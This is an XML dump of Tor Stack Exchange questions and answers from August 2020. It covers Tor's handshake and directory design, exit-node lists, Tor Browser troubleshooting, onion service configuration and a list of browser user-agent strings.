  <row Id="21500" PostTypeId="2" ParentId="21498" CreationDate="2020-08-16T23:01:28.657" Score="2" Body="&lt;p&gt;These types of attacks aren't possible in Tor because of Tor's &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/216-ntor-handshake.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;ntor handshake&lt;/a&gt; and Tor's &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;authenticated directory documents&lt;/a&gt; generated by the directory authorities.&lt;/p&gt;&#xA;&lt;p&gt;Tor clients download a trusted (and signed) list of all relays generated by Tor's directory authorities. This list of relays is part of the &lt;em&gt;network consensus&lt;/em&gt; document. Each relay in this list also has a &lt;em&gt;server descriptor&lt;/em&gt; document referenced by this consensus. Clients generally download a flavour of these documents called the &lt;em&gt;microdescriptor consensus&lt;/em&gt; and &lt;em&gt;microdescriptors&lt;/em&gt;. Each microdescriptor contains the relay's &amp;quot;(ntor) onion key&amp;quot;, a curve25519 public key known only by the relay.&lt;/p&gt;&#xA;&lt;p&gt;When the client extends a circuit to a specific relay, it uses the ntor protocol and the relay's onion key from the relay's microdescriptor, which allows the client to ensure that it's communicating with the intended relay, even though the client is not connecting to that relay directly. Since no other relay knows the private key for the intended relay's onion key, the client can detect if a relay was attempting to pull off an attack like the one you described.&lt;/p&gt;&#xA;&lt;p&gt;If you aren't familiar with these types of key exchange protocols, you may want to look into the &lt;a href=&quot;https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange&quot; rel=&quot;nofollow noreferrer&quot;&gt;Diffie–Hellman key exchange&lt;/a&gt;. This same idea is also used by HTTPS to ensure that your browser is communicating with the website it intends to visit.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-08-16T23:01:28.657" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21501" PostTypeId="2" ParentId="88" CreationDate="2020-08-17T18:21:19.237" Score="2" Body="&lt;p&gt;You can check your visitors' IP addresses against a dataset or use an API service. There exists an official and public list available at the following address:&#xA;&lt;a href=&quot;https://check.torproject.org/torbulkexitlist&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/torbulkexitlist&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Although it is accurate, only IPv4 IPs are included. If you need a full list (including IPv6 exit nodes) updated frequently I suggest trying out &lt;a href=&quot;https://ipregistry.co&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ipregistry&lt;/a&gt;: for any IP address you get an answer with a field &lt;code&gt;security.is_tor_exit&lt;/code&gt; that contains a boolean as value indicating whether the IP is used as a Tor exit node or not.&lt;/p&gt;&#xA;" OwnerUserId="30769" LastActivityDate="2020-08-17T18:21:19.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21502" PostTypeId="1" CreationDate="2020-08-18T06:10:16.827" Score="0" ViewCount="175" Body="&lt;p&gt;About 85% of the time, when I start Tor Browser, I get the &amp;quot;Something Went Wrong!&amp;quot; page and have to try a second time.  Apparently, some initialization isn't finishing before the browser window shows up, but the error screen isn't very helpful in identifying exactly what.  I think this started with the 9.5 series, but I don't remember any more specifically than &amp;quot;it's been a few months&amp;quot;.  Anyone here know what's causing this, or how I can find out?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2022-01-10T20:05:50.533" Title="Tor Browser needs to be started twice" Tags="|tor-browser-bundle|windows|startup|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21503" PostTypeId="2" ParentId="21502" CreationDate="2020-08-18T17:11:59.133" Score="0" Body="&lt;p&gt;It's probably the tor service that is running with the browser. Make sure that any anti-virus or anti-malware on your computer whitelists Tor Browser. If that doesn't fix it, uninstall and then reinstall it.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-08-18T17:11:59.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21504" PostTypeId="2" ParentId="21499" CreationDate="2020-08-18T17:18:10.730" Score="0" Body="&lt;p&gt;It does download through Tor. See the &lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/#update-safety&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser Design Document&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;We make use of the Firefox updater in order to provide automatic&#xA;updates to users. We make use of certificate pinning to ensure that&#xA;update checks cannot be tampered with by setting&#xA;security.cert_pinning.enforcement_level to 2, and we sign the&#xA;individual MAR update files with keys that get rotated every year.&lt;/p&gt;&#xA;&lt;p&gt;The Firefox updater also has code to ensure that it can reliably&#xA;access the update server to prevent availability attacks, and&#xA;complains to the user after 48 hours go by without a successful&#xA;response from the server. &lt;strong&gt;Additionally, we use Tor's SOCKS username&#xA;and password isolation to ensure that every new request to the updater&#xA;(provided the former got issued more than 10 minutes ago) traverses a&#xA;separate circuit, to avoid holdback attacks by exit nodes&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-08-18T17:18:10.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21508" PostTypeId="1" CreationDate="2020-08-19T21:53:20.747" Score="0" ViewCount="523" Body="&lt;p&gt;The Tor Browser is based on a Firefox-esr browser.&#xA;Source: &lt;a href=&quot;https://www.linux-magazin.de/news/kritische-luecken-in-firefox-esr-thunderbird-und-tor-browser/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.linux-magazin.de/news/kritische-luecken-in-firefox-esr-thunderbird-und-tor-browser/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With the Tor Browser, some menu items that are available in Firefox-esr are hidden. How can the hidden menu items be shown again so that they can be used when needed?&lt;/p&gt;&#xA;&lt;p&gt;Examples of menu items that are hidden in the Tor Browser are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cookies, accepting 3rd party cookies, accepting DRM video protection, accepting javascript and so on.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="30335" LastEditorUserId="30335" LastEditDate="2022-10-17T19:12:58.900" LastActivityDate="2023-02-13T21:45:16.873" Title="How to show the Tor Browser, again the menu items that are hidden compared to the esr version?" Tags="|configuration|firefox|tor-install|browsers|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21509" PostTypeId="1" CreationDate="2020-08-20T01:49:02.213" Score="1" ViewCount="478" Body="&lt;p&gt;Without a bridge, my hidden service is accessible for others. But when I use a tor bridge, this hidden service is not accessible.&lt;/p&gt;&#xA;&lt;p&gt;My &lt;code&gt;torrc&lt;/code&gt; is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;Bridge obfs4 my_bridge_ip:my_bridge_port my_bridge cert=XPoeAfCXs... iat-mode=0&#xA;ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;tor&lt;/code&gt; version is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ tor --version&#xA;Tor version 0.3.2.10 (git-0edaa32732ec8930).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The tor bridge is working well, and the &lt;code&gt;tor&lt;/code&gt; works well with this bridge. I also tested my bridge with &lt;code&gt;TorBrowser&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Did I miss something for using hidden service behind a bridge?&lt;/p&gt;&#xA;&lt;p&gt;My bridge is private and not available in BridgeDB. Must I add it to BridgeDB to enable the hidden service accessible from outside?&lt;/p&gt;&#xA;" OwnerUserId="30773" LastActivityDate="2022-03-01T21:01:35.153" Title="Hidden Service Behind a Bridge" Tags="|onion-services|relays|bridge|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21510" PostTypeId="2" ParentId="19668" CreationDate="2020-08-20T23:58:41.953" Score="1" Body="&lt;p&gt;There used to be a Tor Expert Bundle back in the old days, even after Vidalia development was scratched. As AXO mentioned, the Windows Expert Bundle only supplies the latest tor and its dynamic libraries at &lt;a href=&quot;https://www.torproject.org/download/tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/tor/&lt;/a&gt;. But you can create your own &amp;quot;Tor+ Pluggable Transport&amp;quot;. Extract the Expert Bundle, copy the &amp;quot;PluggableTransports&amp;quot; folder (containing obfsproxy,exe at the moment) from your Tor Browser installation directory and paste it in your &amp;quot;new&amp;quot; Tor extracted folder. Copy also your &amp;quot;Data/Tor&amp;quot; folder to that new folder and edit your torrc like before. If you're using tor bridges, it's still here: &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/&lt;/a&gt;. This is the least you could do to make one.&#xA;To customize your torrc, you can browse here for more details: &lt;a href=&quot;https://tornull.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tornull.org/&lt;/a&gt;&#xA;&lt;a href=&quot;https://tornull.org/xeronet-rocket-torrc.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tornull.org/xeronet-rocket-torrc.php&lt;/a&gt; .&#xA;But if I will recommend, using Tor Browser Bundle is all we need unless we're planning a multiple tor connection. We can also update the tor folder, edit the torrc if we want to. TBB is user-friendly.&#xA;An alternative approach is using ProxAllium: &lt;a href=&quot;https://github.com/DcodingTheWeb/ProxAllium&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/DcodingTheWeb/ProxAllium&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30787" LastActivityDate="2020-08-20T23:58:41.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21511" PostTypeId="2" ParentId="6209" CreationDate="2020-08-21T03:52:23.800" Score="-1" Body="&lt;p&gt;Yes your IP is exposed but not directly, i have tested and indeed, i can still see my IP amongst others. Use Tor along side a VPN (OpenVPN is great) for maximum anonymity. Tor is just more encrypted than your normal browser.&lt;/p&gt;&#xA;" OwnerUserId="30789" LastActivityDate="2020-08-21T03:52:23.800" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21512" PostTypeId="1" AcceptedAnswerId="21513" CreationDate="2020-08-21T12:44:44.000" Score="0" ViewCount="140" Body="&lt;p&gt;What's the exact algorithm and where is it specified in documentation?&lt;/p&gt;&#xA;" OwnerUserId="20940" LastActivityDate="2020-08-21T13:38:37.240" Title="How service id is derived from ed25519 key?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21513" PostTypeId="2" ParentId="21512" CreationDate="2020-08-21T13:38:37.240" Score="1" Body="&lt;p&gt;The encoding of the onion service address is specified in section 6 of the rendezvous specification: &lt;a href=&quot;https://github.com/torproject/torspec/blob/master/rend-spec-v3.txt#L2136&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torproject/torspec/blob/master/rend-spec-v3.txt#L2136&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The onion address of a hidden service includes its identity public key, a&#xA;version field and a basic checksum. All this information is then base32&#xA;encoded as shown below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;onion_address = base32(PUBKEY | CHECKSUM | VERSION) + &amp;quot;.onion&amp;quot;&#xA;CHECKSUM = H(&amp;quot;.onion checksum&amp;quot; | PUBKEY | VERSION)[:2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;PUBKEY&lt;/code&gt; is the 32 bytes ed25519 master pubkey of the hidden service.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;VERSION&lt;/code&gt; is an one byte version field (default value &lt;code&gt;\x03&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&amp;quot;.onion checksum&amp;quot; is a constant string&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CHECKSUM&lt;/code&gt; is truncated to two bytes before inserting it in onion_address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-08-21T13:38:37.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21514" PostTypeId="1" CreationDate="2020-08-21T16:30:25.073" Score="2" ViewCount="1061" Body="&lt;p&gt;I'm wanting to setup an SMTP server for my tor hidden service. I'm assuming doing so would be as simple as setting up a normal email server and just giving its domain name as the hostname for however I've configured the second hidden service, but I haven't been able to find much information online to do with hosting two separate hidden services on the same server and I'm unsure as how to exactly go about setting up a 2nd hidden service on the server I'm already hosting one on. I've noticed that in the /etc/tor/torrc file, it mentions /var/lib/tor/other_hidden_service/ but looking in my own /var/lib/tor/ directory, there doesn't seem to be any other directories there to do with other hidden services.&lt;/p&gt;&#xA;&lt;p&gt;Do I need to somehow setup an /var/lib/tor/other_hidden_service/ directory? If so, how? Or would it be possible for me to host the email server using the same hostname I already have setup for my onion site?&lt;/p&gt;&#xA;" OwnerUserId="30791" LastActivityDate="2022-01-13T20:02:25.457" Title="How to setup email server for my Tor Hidden Service?" Tags="|configuration|email|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21515" PostTypeId="2" ParentId="21514" CreationDate="2020-08-21T16:41:03.527" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;I've noticed that in the /etc/tor/torrc file, it mentions&#xA;/var/lib/tor/other_hidden_service/ but looking in my own /var/lib/tor/&#xA;directory, there doesn't seem to be any other directories there to do&#xA;with other hidden services.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Create a new directory called &amp;quot;/var/lib/tor/mailserver/&amp;quot; and add it to your torrc. Make very sure that your file permissions are the same as the original directory or else Tor won't be able to write to it and it will fail.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-08-21T16:41:03.527" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21516" PostTypeId="1" CreationDate="2020-08-22T06:08:58.990" Score="0" ViewCount="216" Body="&lt;p&gt;If anybody is able to make themselves a Tor server, what is to stop a security agency from populating the list of Tor servers with many of their own? If they have enough servers there, then might they be able to track the progress of your message from origin to destination?&lt;/p&gt;&#xA;" OwnerUserId="30793" LastActivityDate="2021-05-19T07:06:41.387" Title="What if one entity controls all three Tor nodes?" Tags="|security|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21517" PostTypeId="2" ParentId="21516" CreationDate="2020-08-22T06:54:12.927" Score="1" Body="&lt;p&gt;Right, Tor cannot protect against an adversary that runs a significant fraction of the network. This is true for any anonymity network, and is why it's important for other people with good intentions to run relays.&lt;/p&gt;&#xA;&lt;p&gt;In fact there are timing-based attacks where an adversary only needs to control a user's entry and exit relays, and not the middle. This is why Tor clients stick with a single (hopefully benign) guard relay for long periods of time, to reduce the likelihood that the client creates a circuit with a malicious entry relay.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-08-22T06:54:12.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21518" PostTypeId="2" ParentId="17752" CreationDate="2020-08-22T07:05:33.517" Score="2" Body="&lt;p&gt;Usually Tor stores its log files in &lt;code&gt;/var/log/tor&lt;/code&gt;. Depending from the specific settings you'll find &lt;code&gt;/var/log/tor/notices.log&lt;/code&gt;, &lt;code&gt;/var/log/tor/log&lt;/code&gt;, &lt;code&gt;/var/log/tor/info.log&lt;/code&gt;, etc.  The option &lt;code&gt;Log&lt;/code&gt; in torrc specifies where the log file is stored and what kind of information is logged. So if you don't find the above mentioned files please have a look into your configuration.&lt;/p&gt;&#xA;" OwnerUserId="30794" LastEditorUserId="24966" LastEditDate="2020-08-22T18:52:07.503" LastActivityDate="2020-08-22T18:52:07.503" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21524" PostTypeId="2" ParentId="4890" CreationDate="2020-08-25T11:43:20.667" Score="0" Body="&lt;p&gt;Tor Browser on GNU/Linux 64-bit&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tor Browser 9.5.3 (based on Mozilla Firefox 68.11.0esr) (64-bit)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;User Agent:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30713" LastActivityDate="2020-08-25T11:43:20.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21525" PostTypeId="2" ParentId="4890" CreationDate="2020-08-25T20:37:30.203" Score="0" Body="&lt;p&gt;User-Agents&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0&#xA;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 YaBrowser/16.11.1.673 Yowser/2.5 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0&#xA;Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0&#xA;Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0&#xA;Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0&#xA;Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0&#xA;Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 YaBrowser/17.6.0.1633 Yowser/2.5 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36 OPR/43.0.2442.806 (Edition Yx)&#xA;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 YaBrowser/17.1.0.2034 Yowser/2.5 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 YaBrowser/16.11.1.673 Yowser/2.5 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36&#xA;Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94&#xA;Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36&#xA;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 6.0; thl T9 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Mobile Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 6.0.1; SM-G925I Build/MMB29K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/56.0.2924.87 Mobile Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 6.0.1; Redmi Note 3 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 5.1; Micromax Q334 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 5.0; PowerFive Build/LRX21M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 4.4.4; MFLogin3T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 4.4.4; MFLogin3T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.135 Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 4.4.2; TZ707 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 4.4.2; 9005X Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 4.1.2; LG-E455 Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36&#xA;Mozilla/5.0 (Linux; Android 4.1.2; LG-E455 Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 YaBrowser/16.10.2.1487.00 Mobile Safari/537.36&#xA;Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3&#xA;Mozilla/5.0 (Android 5.0; Mobile; rv:38.0) Gecko/20100101 Firefox/38.0&#xA;Mozilla/5.0 () AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30713" LastActivityDate="2020-08-25T20:37:30.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21526" PostTypeId="1" CreationDate="2020-08-26T02:13:33.770" Score="0" ViewCount="441" Body="&lt;p&gt;I just allowed Tor Browser on Linux Mint Debian Edition 4 to update to the latest version and now there is a process &amp;quot;tor&amp;quot; by some user &amp;quot;debian-tor&amp;quot; that keeps restarting on its own (can't kill it permanently). What is this nonsense and how can I get rid of it?&lt;/p&gt;&#xA;&lt;p&gt;At this point, I'm considering moving to a different service than TOR. The whole concept appears to be getting more invasive by the week with increasingly frequent DoS attacks, permanent Tor Browser memory leaks, and now some permanent process running in the background without user approval.&lt;/p&gt;&#xA;" OwnerUserId="28784" LastActivityDate="2020-11-02T16:04:56.920" Title="Process &quot;tor&quot; from user &quot;debian-tor&quot; keeps automatically restarting since last Tor Browser update" Tags="|tor-browser-bundle|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21527" PostTypeId="2" ParentId="21526" CreationDate="2020-08-26T02:21:23.187" Score="1" Body="&lt;p&gt;This process exists because you ran &lt;code&gt;apt install tor&lt;/code&gt; sometime in the past (or you installed something else that lists tor as a dependency, such as &lt;code&gt;apt install onionshare&lt;/code&gt;). This installs the Tor network service, which isn't needed if you only want to run the Tor Browser. If you aren't familiar with apt, you can read more &lt;a href=&quot;https://itsfoss.com/apt-command-guide/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. You can remove this package using &lt;code&gt;sudo apt remove tor&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-11-02T16:04:56.920" LastActivityDate="2020-11-02T16:04:56.920" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21529" PostTypeId="1" CreationDate="2020-08-26T08:06:44.207" Score="0" ViewCount="326" Body="&lt;p&gt;Can I run TAILS on a PC from USB with no other operating system? Like if I factory reset a PC and didn't reinstall windows would tails work with it?&lt;/p&gt;&#xA;" OwnerUserId="30818" LastActivityDate="2020-08-26T13:27:36.447" Title="Can you use TAILS on a PC with no OS?" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21530" PostTypeId="2" ParentId="21529" CreationDate="2020-08-26T13:27:36.447" Score="1" Body="&lt;p&gt;Yes, the computer doesn't need an OS installed, and doesn't even need a physical hard drive.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-08-26T13:27:36.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21532" PostTypeId="1" AcceptedAnswerId="21533" CreationDate="2020-08-26T18:52:53.617" Score="0" ViewCount="92" Body="&lt;p&gt;I have been tinkering with TOR for some while but now I decided to try and run relays. However I am quite a noob to networking.&#xA;My ISP will only give each device an IPv6 address public address for all of them is a single IPv4 address. I am wondering if it is possible to run multiple relays behind that single IPv4 address at all.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="30821" LastEditorUserId="30821" LastEditDate="2020-08-26T20:34:45.207" LastActivityDate="2020-08-27T02:41:42.270" Title="Run multiple TOR relays behind one IPv4 address" Tags="|ipv6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21533" PostTypeId="2" ParentId="21532" CreationDate="2020-08-27T02:41:42.270" Score="1" Body="&lt;p&gt;Each relay must have an IPv4 address, and you can run up to two relays per IPv4 address. I'm not sure if bridges count toward this limit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://community.torproject.org/relay/relays-requirements/#public-ipv4-address&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/relay/relays-requirements/#public-ipv4-address&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-08-27T02:41:42.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21534" PostTypeId="1" AcceptedAnswerId="21536" CreationDate="2020-08-27T14:12:52.127" Score="0" ViewCount="79" Body="&lt;p&gt;I have recently started learning about TOR. One concern I have is that the last node can see my private data. For example, let's say I use TOR to create a Facebook account. As part of the create account process, I input my password. Although my password is encrypted when it leaves my computer, and will remain so on its journey to the last node, when it reaches the last node, it will be plaintext. Is this right?&lt;/p&gt;&#xA;&lt;p&gt;I feel uneasy about using TOR for this reason.&lt;/p&gt;&#xA;" OwnerUserId="30824" LastActivityDate="2020-08-27T14:52:05.023" Title="Can the Last Node See My Private Data?" Tags="|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21535" PostTypeId="2" ParentId="21534" CreationDate="2020-08-27T14:29:46.417" Score="0" Body="&lt;p&gt;I found an animation which implies the last node can't see my password if I use HTTPS.&#xA;&lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/pages/tor-and-https&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30824" LastActivityDate="2020-08-27T14:29:46.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21536" PostTypeId="2" ParentId="21534" CreationDate="2020-08-27T14:29:57.810" Score="1" Body="&lt;p&gt;You should always use a secure connection (HTTPS) when visiting websites as it prevents this type of attack, regardless of if you're using Tor or not. Facebook (along with many other websites) use HTTPS to provide end-to-end encryption that the exit relay cannot read.&lt;/p&gt;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.cloudflare.com/learning/ssl/what-is-https/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cloudflare.com/learning/ssl/what-is-https/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/pages/tor-and-https&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-08-27T14:52:05.023" LastActivityDate="2020-08-27T14:52:05.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
